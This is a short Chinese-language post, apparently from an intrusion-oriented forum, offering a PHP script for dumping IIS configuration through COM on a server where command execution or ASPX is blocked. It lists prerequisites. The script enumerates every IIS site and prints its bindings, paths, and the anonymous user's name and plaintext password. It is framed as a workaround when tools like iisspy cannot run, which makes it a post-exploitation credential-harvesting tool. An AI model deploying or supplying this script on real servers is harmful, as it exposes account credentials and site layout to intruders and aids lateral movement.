通常我们获取 iis 配置文件 都是 执行 cscript iis.vbs 或通过aspx iisspy很多情况权限或者安全配置 导致不能执行命令 或不支持 aspx可以通过下面的php脚本下面脚本不能保证100% 爆出iis 信息 (可能因为某些安全配置 如 本地组件服务权限设置了)
此脚本调用COM类类实现的读取iis信息 需要注意以下几点
在使用COM类之前,确保下面几个条件: 1.启用组件:regsvr32 组件dll 2.允许调用COM:php.ini中com.allow_dcom =true 3.账户有权限访问组件
4.确保COM+ Event System 的服务开启
打开服务(win键+R键)或开始 > 运行 > services.msc 回车 > 确保 COM+ Event System 的服务开启<?php
$ObjService = new COM("IIS://localhost/w3svc");foreach ($ObjService as $obj3w) {
if(is_numeric($obj3w->Name)){ $webSite=new COM("IIS://localhost/w3svc/".$obj3w->Name.'/Root');
echo "[ID ] " .$obj3w->Name.'';
echo "[NAME ] " .$obj3w->ServerComment.'';
$state=intval($obj3w->ServerState);
if ($state==2) { echo "[STATE ] running".'';
} if ($state==4) { echo "[STATE ] stoped".'';
}
if ($state==6) { echo "[STATE ] paused".'';
}
foreach ($obj3w->ServerBindings as $Binds){
echo "[HOST ] " .$Binds.'';
}
echo "[USER ] " . $webSite->AnonymousUserName.'';
echo "[PASS ] " . $webSite->AnonymousUserPass.'';
echo "[PATH ] " . $webSite->path.'';
echo "-------------------------------------------".'';
}}?>